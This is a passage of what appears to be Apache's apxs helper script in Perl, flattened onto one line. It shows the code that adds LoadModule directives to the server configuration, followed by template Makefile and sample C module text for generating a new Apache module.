m|.*module\s+(?:AP_MODULE_DECLARE_DATA\s+)?([a-zA-Z0-9_]+)_module\s*=\s*.*|s) { $name = "$1"; $filename = "$base.c"; $filename =~ s|^[^/]+/||; } } if ($name eq '') { if ($base =~ m|.*mod_([a-zA-Z0-9_]+)\..+|) { $name = "$1"; $filename = $base; $filename =~ s|^[^/]+/||; } } if ($name eq '') { error("Sorry, cannot determine bootstrap symbol name"); error("Please specify one with option `-n'"); exit(1); } } if ($filename eq '') { $filename = "mod_${name}.c"; } my $dir = $CFG_LIBEXECDIR; $dir =~ s|^$CFG_PREFIX/?||; $dir =~ s|(.)$|$1/|; $t =~ s|\.la$|.so|; push(@lmd, sprintf("LoadModule %-18s %s", "${name}_module", "$dir$t")); } # execute the commands &execute_cmds(@cmds); # activate module via LoadModule/AddModule directive if ($opt_a or $opt_A) { if (not -f "$CFG_SYSCONFDIR/$CFG_TARGET.conf") { error("Config file $CFG_SYSCONFDIR/$CFG_TARGET.conf not found"); exit(1); } open(FP, "<$CFG_SYSCONFDIR/$CFG_TARGET.conf") || die; my $content = join('', <FP>); close(FP); if ($content !~ m|\n#?\s*LoadModule\s+|) { error("Activation failed for custom $CFG_SYSCONFDIR/$CFG_TARGET.conf file."); error("At least one `LoadModule' directive already has to exist."); exit(1); } my $lmd; my $c = ''; $c = '#' if ($opt_A); foreach $lmd (@lmd) { my $what = $opt_A ? "preparing" : "activating"; my $lmd_re = $lmd; $lmd_re =~ s/\s+/\\s+/g; if ($content !~ m|\n#?\s*$lmd_re|) { # check for open <containers>, so that the new LoadModule # directive always appears *outside* of an <container>. my $before = ($content =~ m|^(.*\n)#?\s*LoadModule\s+[^\n]+\n|s)[0]; # the '()=' trick forces list context and the scalar # assignment counts the number of list members (aka number # of matches) then my $cntopen = () = ($before =~ m|^\s*<[^/].*$|mg); my $cntclose = () = ($before =~ m|^\s*</.*$|mg); if ($cntopen == $cntclose) { # fine. Last LoadModule is contextless. $content =~ s|^(.*\n#?\s*LoadModule\s+[^\n]+\n)|$1$c$lmd\n|s; } elsif ($cntopen < $cntclose) { error('Configuration file is not valid. There are sections' . ' closed before opened.'); exit(1); } else { # put our cmd after the section containing the last # LoadModule. my $found = $content =~ s!\A ( # string and capture start (?:(?: ^\s* # start of conf line with a (?:[^<]|<[^/]) # directive which does not # start with '</' .*(?:$)\n # rest of the line. # the '$' is in parentheses # to avoid misinterpreting # the string "$\" as # perl variable. )* # catch as much as possible # of such lines. (including # zero) ^\s*</.*(?:$)\n? # after the above, we # expect a config line with # a closing container (</) ) {$cntopen} # the whole pattern (bunch # of lines that end up with # a closing directive) must # be repeated $cntopen # times. That's it. # Simple, eh? ;-) ) # capture end !$1$c$lmd\n!mx; unless ($found) { error('Configuration file is not valid. There are ' . 'sections opened and not closed.'); exit(1); } } } else { # replace already existing LoadModule line $content =~ s|^(.*\n)#?\s*$lmd_re[^\n]*\n|$1$c$lmd\n|s; } $lmd =~ m|LoadModule\s+(.+?)_module.*|; notice("[$what module `$1' in $CFG_SYSCONFDIR/$CFG_TARGET.conf]"); } if (@lmd) { if (open(FP, ">$CFG_SYSCONFDIR/$CFG_TARGET.conf.new")) { print FP $content; close(FP); system("cp $CFG_SYSCONFDIR/$CFG_TARGET.conf $CFG_SYSCONFDIR/$CFG_TARGET.conf.bak && " . "cp $CFG_SYSCONFDIR/$CFG_TARGET.conf.new $CFG_SYSCONFDIR/$CFG_TARGET.conf && " . "rm $CFG_SYSCONFDIR/$CFG_TARGET.conf.new"); } else { notice("unable to open configuration file"); } } } } sub error{ print STDERR "apxs:Error: $_[0].\n"; } sub notice{ print STDERR "$_[0]\n"; } ##EOF## __DATA__ ## ## Makefile -- Build procedure for sample %NAME% Apache module ## Autogenerated via ``apxs -n %NAME% -g''. ## builddir=. top_srcdir=%PREFIX% top_builddir=%PREFIX% include %INSTALLBUILDDIR%/special.mk # the used tools APACHECTL=apachectl # additional defines, includes and libraries #DEFS=-Dmy_define=my_value #INCLUDES=-Imy/include/dir #LIBS=-Lmy/lib/dir -lmylib # the default target all: local-shared-build # install the shared object file into Apache install: install-modules-yes # cleanup clean: -rm -f mod_%NAME%.o mod_%NAME%.lo mod_%NAME%.slo mod_%NAME%.la # simple test test: reload lynx -mime_header http://localhost/%NAME% # install and activate shared object by reloading Apache to # force a reload of the shared object file reload: install restart # the general Apache start/restart/stop # procedures start: $(APACHECTL) start restart: $(APACHECTL) restart stop: $(APACHECTL) stop -=#=- mod_%NAME%.la: mod_%NAME%.slo $(SH_LINK) -rpath $(libexecdir) -module -avoid-version mod_%NAME%.lo DISTCLEAN_TARGETS = modules.mk shared = mod_%NAME%.la -=#=- /* ** mod_%NAME%.c -- Apache sample %NAME% module ** [Autogenerated via ``apxs -n %NAME% -g''] ** ** To play with this sample module first compile it into a ** DSO file and install it into Apache's modules directory ** by running: ** ** $ apxs -c -i mod_%NAME%.c ** ** Then activate it in Apache's %TARGET%.conf file for instance ** for the URL /%NAME% in as follows: ** ** # %TARGET%.conf ** LoadModule %NAME%_module modules/mod_%NAME%.so ** <Location /%NAME%> ** SetHandler %NAME% ** </Location> ** ** Then after restarting Apache via ** ** $ apachectl restart ** ** you immediately can request the URL /%NAME% and watch for the ** output of this module. This can be achieved for instance via: ** ** $ lynx -mime_header http://localhost/%NAME% ** ** The output should be similar to the following one: ** ** HTTP/1.1 200 OK ** Date: Tue, 31 Mar 1998 14:42:22 GMT ** Server: Apache/1.3.4 (Unix) ** Connection: close ** Content-Type: text/html ** ** The sample page from mod_%NAME%.c */ #include "httpd.h" #include "http_config.h" #include "http_protocol.h" #include "ap_config.h" /* The sample content handler */ static int %NAME%_handler(request_rec *r) { if (strcmp(r->handler, "%NAME%")) { return DECLINED; } r->content_type = "text/html"; if (!r->header_only) ap_rputs("The sample page from mod_%NAME%.c\n", r); return OK; } static void %NAME%_register_hooks(apr_pool_t *p) { ap_hook_handler(%NAME%_handler, NULL, NULL, APR_HOOK_MIDDLE); } /* Dispatch list for API hooks */ module AP_MODULE_DECLARE_DATA %NAME%_module = { STANDARD20_MODULE_STUFF, NULL, /* create per-dir config structures */ NULL, /* merge per-dir config structures */ NULL, /* create per-server config structures */ NULL, /* merge per-server config structures */ NULL, /* table of config file commands */ %NAME%_register_hooks /* register hooks */ };
Close